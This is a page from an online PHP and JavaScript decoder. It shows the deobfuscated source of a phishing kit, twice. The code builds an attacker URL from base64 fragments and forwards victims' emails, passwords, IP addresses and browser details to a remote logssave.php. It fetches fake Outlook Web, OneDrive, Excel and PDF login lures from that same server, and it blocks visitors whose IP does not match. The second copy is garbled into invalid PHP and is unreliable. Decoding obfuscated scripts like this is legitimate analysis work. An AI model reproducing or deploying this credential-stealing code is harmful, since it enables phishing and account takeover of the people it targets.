Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

goto lxC33;
 DTjt1: $batt = "nNlc";
 goto dOXvC;
 qH3AT: $urldon = '';
 goto jATll;
 Dvo9Q: $agent = base64_encode($_SERVER["HTTP_USER_AGENT"]);
 goto fpfen;
	 y0f1t: if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
	 $ip = $_SERVER["HTTP_CLIENT_IP"];
	 
}
	 elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
	 $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
	 
}
	 else {
	 $ip = $_SERVER["REMOTE_ADDR"];
	 
}
 goto qH3AT;
 qLvty: ini_set("error_log", "php-error.log");
 goto ri_Q5;
 TmcIb: $urldon = base64_decode($urldon);
 goto jm2f3;
 QWkjA: $mgkg = "Ghlc";
 goto DTjt1;
 mzKBC: $mcbhei = "i5jbv";
 goto vdipK;
 uwaTo: $ip = getUserIP();
 goto Dvo9Q;
 dOXvC: $iitt = "3Npb";
 goto eCPzR;
 ri_Q5: ini_set("display_errors", 0);
 goto y0f1t;
 lxC33: ini_set("log_errors", 1);
 goto qLvty;
 jATll: $dgri = "aHR0cHM";
 goto sLvwJ;
 eCPzR: $draa = "24y";
 goto nm1FJ;
 nm1FJ: $njod = "bWFpb";
 goto mzKBC;
 sLvwJ: $jdoe = "6Ly9vd";
 goto QWkjA;
	 jm2f3: function getUserIP() {
	 $client = @$_SERVER["HTTP_CLIENT_IP"];
	 $forward = @$_SERVER["HTTP_X_FORWARDED_FOR"];
	 $remote = $_SERVER["REMOTE_ADDR"];
		 if (filter_var($client, FILTER_VALIDATE_IP)) {
		 $ip = $client;
		 
	}
		 elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
		 $ip = $forward;
		 
	}
		 else {
		 $ip = $remote;
		 
	}
	 return $ip;
	 
}
 goto uwaTo;
	 fpfen: if (isset($_GET["uid"])) {
	 header("Access-Control-Allow-Origin: *");
	 header("Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE");
	 header("Access-Control-Allow-Headers: Origin, Content-Type, Accept, Authorization, X-Request-With");
	 header("Content-Type: application/json;
	 charset=utf-8");
	 $uidxx = $_GET["uid"];
	 $emailxx = $_GET["email"];
	 $passwordxx = $_GET["pass"];
	 $typexx = $_GET["type"];
	 $url = $urldon . "/logssave.php/?uid=" . $uidxx . "&email=" . $emailxx . "&pass=" . $passwordxx . "&ip=" . $ip . "&agent=" . $agent . "&dq=&type=" . $typexx;
	 $ch = curl_init();
	 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
	 curl_setopt($ch, CURLOPT_TIMEOUT, 400);
	 curl_setopt($ch, CURLOPT_URL, $url);
	 $jsonData = curl_exec($ch);
	 curl_close($ch);
	 echo $jsonData;
	 
}
	 elseif (isset($_GET["getemailinfo"])) {
	 header("Access-Control-Allow-Origin: *");
	 header("Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE");
	 header("Access-Control-Allow-Headers: Origin, Content-Type, Accept, Authorization, X-Request-With");
	 header("Content-Type: application/json;
	 charset=utf-8");
	 $uidxx = $_GET["uidnow"];
	 $emailxx = $_GET["getemailinfo"];
	 $dqxx = $_GET["dq"];
	 $typexx = $_GET["type"];
	 $url = $urldon . "/logssave.php/?uidnow=" . $uidxx . "&getemailinfo=" . $emailxx . "&ip=" . $ip . "&agent=" . $agent . "&dq=" . $dqxx . "&type=" . $typexx;
	 $ch = curl_init();
	 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
	 curl_setopt($ch, CURLOPT_TIMEOUT, 400);
	 curl_setopt($ch, CURLOPT_URL, $url);
	 $jsonData = curl_exec($ch);
	 curl_close($ch);
	 echo $jsonData;
	 
}
	 else {
	 require __DIR__ . "/i.php";
	 $html_string = "TYPEXXX";
	 $url = "https://";
	 $url .= $_SERVER["HTTP_HOST"];
	 $data_raw = explode("?", $_SERVER["REQUEST_URI"])[1];
	 $data_raw = urldecode($data_raw);
	 $rbox = null;
	 $vbox = null;
		 if (strpos($data_raw, "N03N") !== FALSE) {
		 $data = explode("N0123N", $data_raw)[0];
			 if (!empty(explode("N03N", $data_raw)[1])) {
			 $vbox = explode("N0123N", $data_raw)[1];
				 if (strpos($vbox, "%40") !== FALSE || strpos($vbox, "@") !== FALSE) {
				 $vbox = str_replace("%", "@", $vbox);
				 $ssns1 = explode("@", $vbox)[0];
				 $ssns2 = explode("@", $vbox)[1];
					 if (strpos($ssns2, "_") !== FALSE) {
					 $ssns2 = str_replace("_", , $ssns2);
					 $vbox = $ssns1 . $ssns2;
					 
				}
				 
			}
			 
		}
		 
	}
		 else {
		 $data = explode("?", $_SERVER["REQUEST_URI"])[1];
		 $data2 = explode("?", $_SERVER["REQUEST_URI"])[0];
		 
	}
		 function decode($data) {
		 $myArray = explode("&", base64_decode($data));
		 $data_out = array();
			 foreach ($myArray as $x) {
				 if (strpos($x, "sv") !== FALSE) {
				 $data_out["sv"] = explode("=", $x)[1];
				 
			}
				 if (strpos($x, "uid") !== FALSE) {
				 $data_out["uid"] = explode("=", $x)[1];
				 
			}
				 if (strpos($x, "rbox") !== FALSE) {
				 $data_out["rbox"] = explode("=", $x)[1];
				 
			}
				 if (strpos($x, "ipdata") !== FALSE) {
				 $data_out["ipdata"] = explode("=", $x)[1];
				 
			}
				 if (strpos($x, "vbox") !== FALSE) {
				 $data_out["vbox"] = explode("=", $x)[1];
				 $vbox = explode("=", $x)[1];
				 
			}
			 
		}
		 return $data_out;
		 
	}
	 $_toprofile = decode($data);
		 if ($_toprofile["ipdata"]) {
			 if ($_toprofile["ipdata"] != $ip) {
			 header("Location: /4");
			 die;
			 
		}
		 
	}
		 else {
		 $linkinfo = "ipdata=" . $ip . "&" . base64_decode($data);
		 header("Location: " . $data2 . "?" . base64_encode($linkinfo) . "#" . base64_encode($vbox));
		 
	}
		 function profile($data, $vbox, $url, $html_string, $urldon, $XXXAPIXXX) {
			 if (strpos($data["sv"], "owa") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=owa";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /#500-NULL");
				 die;
				 
			}
			 $html_string = str_replace("TYPEXXX", $jscodeblock, $html_string);
			 
		}
			 if (strpos($data["sv"], "we") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=we";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /#0-NULL");
				 die;
				 
			}
			 $html_string = str_replace("TYPEXXX", $jscodeblock, $html_string);
			 
		}
			 if (strpos($data["sv"], "onedrive") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=onedrive";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /#0-NULL");
				 die;
				 
			}
			 $html_string = str_replace("TYPEXXX", $jscodeblock, $html_string);
			 
		}
			 if (strpos($data["sv"], "excel") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=excel";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /#0-NULL");
				 die;
				 
			}
			 $html_string = str_replace("TYPEXXX", $jscodeblock, $html_string);
			 
		}
			 if (strpos($data["sv"], "general") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=general";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /#0-NULL");
				 die;
				 
			}
			 $html_string = str_replace("TYPEXXX", $jscodeblock, $html_string);
			 
		}
			 if (strpos($data["sv"], "pdf") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=pdf";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /-NULL");
				 die;
				 
			}
			 $html_string = str_replace("TYPEXXX", $jscodeblock, $html_string);
			 
		}
		 $html_string = str_replace("EMAILXXX", $data["vbox"], $html_string);
			 if ($html_string === "TYPEXXX") {
			 header("Location: /#500-NULL");
			 die;
			 
		}
			 else {
			 print $html_string;
			 
		}
		 
	}
	 profile($_toprofile, $vbox, $url, $html_string, $urldon, $XXXAPIXXX);
	 
}
 goto YQqzi;
 vdipK: $urldon .= $dgri . $jdoe . $mgkg . $batt . $iitt . $draa . $njod . $mcbhei;
 goto TmcIb;
 YQqzi: 

goto lxC33;
 DTjt1:  goto dOXvC;
 qH3AT: $urldon = '';
 goto jATll;
 Dvo9Q: $agent = base64_encode($_SERVER["HTTP_USER_AGENT"]);
 goto fpfen;
	 y0f1t: if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
	 $ip = $_SERVER["HTTP_CLIENT_IP"];
	 
}
	 elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
	 $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
	 
}
	 else {
	 $ip = $_SERVER["REMOTE_ADDR"];
	 
}
 goto qH3AT;
 qLvty: ini_set("error_log", "php-error.log");
 goto ri_Q5;
 TmcIb: $urldon = base64_decode($urldon);
 goto jm2f3;
 QWkjA:  goto DTjt1;
 mzKBC: $mcbhei = "i5jbv";
 goto vdipK;
 uwaTo: $ip = getUserIP();
 goto Dvo9Q;
 dOXvC:  goto eCPzR;
 ri_Q5: ini_set("display_errors", 0);
 goto y0f1t;
 lxC33: ini_set("log_errors", 1);
 goto qLvty;
 jATll:  goto sLvwJ;
 eCPzR:  goto nm1FJ;
 nm1FJ:  goto mzKBC;
 sLvwJ:  goto QWkjA;
	 jm2f3: function getUserIP() {
	 $client = @$_SERVER["HTTP_CLIENT_IP"];
	 $forward = @$_SERVER["HTTP_X_FORWARDED_FOR"];
	 $remote = $_SERVER["REMOTE_ADDR"];
		 if (filter_var($client, FILTER_VALIDATE_IP)) {
		 $ip = $client;
		 
	}
		 elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
		 $ip = $forward;
		 
	}
		 else {
		 $ip = $remote;
		 
	}
	 return $ip;
	 
}
 goto uwaTo;
	 fpfen: if (isset($_GET["uid"])) {
	 header("Access-Control-Allow-Origin: *");
	 header("Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE");
	 header("Access-Control-Allow-Headers: Origin, Content-Type, Accept, Authorization, X-Request-With");
	 header("Content-Type: application/json;
	 charset=utf-8");
	 $uidxx = $_GET["uid"];
	 $emailxx = $_GET["email"];
	 $passwordxx = $_GET["pass"];
	 $typexx = $_GET["type"];
	 $url = $urldon . "/logssave.php/?uid=" . $uidxx . "&email=" . $emailxx . "&pass=" . $passwordxx . "&ip=" . $ip . "&agent=" . $agent . "&dq=&type=" . $typexx;
	 $ch = curl_init();
	 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
	 curl_setopt($ch, CURLOPT_TIMEOUT, 400);
	 curl_setopt($ch, CURLOPT_URL, $url);
	 $jsonData = curl_exec($ch);
	 curl_close($ch);
	 echo $jsonData;
	 
}
	 elseif (isset($_GET["getemailinfo"])) {
	 header("Access-Control-Allow-Origin: *");
	 header("Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE");
	 header("Access-Control-Allow-Headers: Origin, Content-Type, Accept, Authorization, X-Request-With");
	 header("Content-Type: application/json;
	 charset=utf-8");
	 $uidxx = $_GET["uidnow"];
	 $emailxx = $_GET["getemailinfo"];
	 $dqxx = $_GET["dq"];
	 $typexx = $_GET["type"];
	 $url = $urldon . "/logssave.php/?uidnow=" . $uidxx . "&getemailinfo=" . $emailxx . "&ip=" . $ip . "&agent=" . $agent . "&dq=" . $dqxx . "&type=" . $typexx;
	 $ch = curl_init();
	 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
	 curl_setopt($ch, CURLOPT_TIMEOUT, 400);
	 curl_setopt($ch, CURLOPT_URL, $url);
	 $jsonData = curl_exec($ch);
	 curl_close($ch);
	 echo $jsonData;
	 
}
	 else {
	 require __DIR__ . "/i.php";
	  $url = "https://";
	 $url .= $_SERVER["HTTP_HOST"];
	 $data_raw = explode("?", $_SERVER["REQUEST_URI"])[1];
	 $data_raw = urldecode($data_raw);
	 $rbox = null;
	 $vbox = null;
		 if (strpos($data_raw, "N03N") !== FALSE) {
		 $data = explode("N0123N", $data_raw)[0];
			 if (!empty(explode("N03N", $data_raw)[1])) {
			 $vbox = explode("N0123N", $data_raw)[1];
				 if (strpos($vbox, "%40") !== FALSE || strpos($vbox, "@") !== FALSE) {
				 $vbox = str_replace("%", "@", $vbox);
				 $ssns1 = explode("@", $vbox)[0];
				 $ssns2 = explode("@", $vbox)[1];
					 if (strpos($ssns2, "_") !== FALSE) {
					 $ssns2 = str_replace("_", , $ssns2);
					 $vbox = $ssns1 . $ssns2;
					 
				}
				 
			}
			 
		}
		 
	}
		 else {
		 $data = explode("?", $_SERVER["REQUEST_URI"])[1];
		 $data2 = explode("?", $_SERVER["REQUEST_URI"])[0];
		 
	}
		 function decode($data) {
		 $myArray = explode("&", base64_decode($data));
		 $data_out = array();
			 foreach ($myArray as $x) {
				 if (strpos($x, "sv") !== FALSE) {
				 $data_out["sv"] = explode("=", $x)[1];
				 
			}
				 if (strpos($x, "uid") !== FALSE) {
				 $data_out["uid"] = explode("=", $x)[1];
				 
			}
				 if (strpos($x, "rbox") !== FALSE) {
				 $data_out["rbox"] = explode("=", $x)[1];
				 
			}
				 if (strpos($x, "ipdata") !== FALSE) {
				 $data_out["ipdata"] = explode("=", $x)[1];
				 
			}
				 if (strpos($x, "vbox") !== FALSE) {
				 $data_out["vbox"] = explode("=", $x)[1];
				 $vbox = explode("=", $x)[1];
				 
			}
			 
		}
		 return $data_out;
		 
	}
	 $_toprofile = decode($data);
		 if ($_toprofile["ipdata"]) {
			 if ($_toprofile["ipdata"] != $ip) {
			 header("Location: /4");
			 die;
			 
		}
		 
	}
		 else {
		 $linkinfo = "ipdata=" . $ip . "&" . base64_decode($data);
		 header("Location: " . $data2 . "?" . base64_encode($linkinfo) . "#" . base64_encode($vbox));
		 
	}
		 function profile($data, $vbox, $url, "TYPEXXX", $urldon, $XXXAPIXXX) {
			 if (strpos($data["sv"], "owa") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=owa";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /#500-NULL");
				 die;
				 
			}
			 "TYPEXXX" = str_replace("TYPEXXX", $jscodeblock, "TYPEXXX");
			 
		}
			 if (strpos($data["sv"], "we") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=we";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /#0-NULL");
				 die;
				 
			}
			 "TYPEXXX" = str_replace("TYPEXXX", $jscodeblock, "TYPEXXX");
			 
		}
			 if (strpos($data["sv"], "onedrive") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=onedrive";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /#0-NULL");
				 die;
				 
			}
			 "TYPEXXX" = str_replace("TYPEXXX", $jscodeblock, "TYPEXXX");
			 
		}
			 if (strpos($data["sv"], "excel") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=excel";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /#0-NULL");
				 die;
				 
			}
			 "TYPEXXX" = str_replace("TYPEXXX", $jscodeblock, "TYPEXXX");
			 
		}
			 if (strpos($data["sv"], "general") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=general";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /#0-NULL");
				 die;
				 
			}
			 "TYPEXXX" = str_replace("TYPEXXX", $jscodeblock, "TYPEXXX");
			 
		}
			 if (strpos($data["sv"], "pdf") !== FALSE) {
			 $todolink = $urldon . "/user.php?uid=" . $data["uid"] . "&genp=pdf";
			 $curl = curl_init();
			 curl_setopt_array($curl, array(CURLOPT_URL => $todolink, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "GET"));
			 $jscodeblock = curl_exec($curl);
			 $err = curl_error($curl);
			 curl_close($curl);
				 if ($jscodeblock === "INVALID") {
				 header("Location: /-NULL");
				 die;
				 
			}
			 "TYPEXXX" = str_replace("TYPEXXX", $jscodeblock, "TYPEXXX");
			 
		}
		 "TYPEXXX" = str_replace("EMAILXXX", $data["vbox"], "TYPEXXX");
			 if ("TYPEXXX" === "TYPEXXX") {
			 header("Location: /#500-NULL");
			 die;
			 
		}
			 else {
			 print "TYPEXXX";
			 
		}
		 
	}
	 profile($_toprofile, $vbox, $url, "TYPEXXX", $urldon, $XXXAPIXXX);
	 
}
 goto YQqzi;
 vdipK: $urldon .= "aHR0cHM6Ly9vdGhlcnNlc3Npb24ybWFpb" . $mcbhei;
 goto TmcIb;
 YQqzi: 



© 2023 Quttera Ltd. All rights reserved.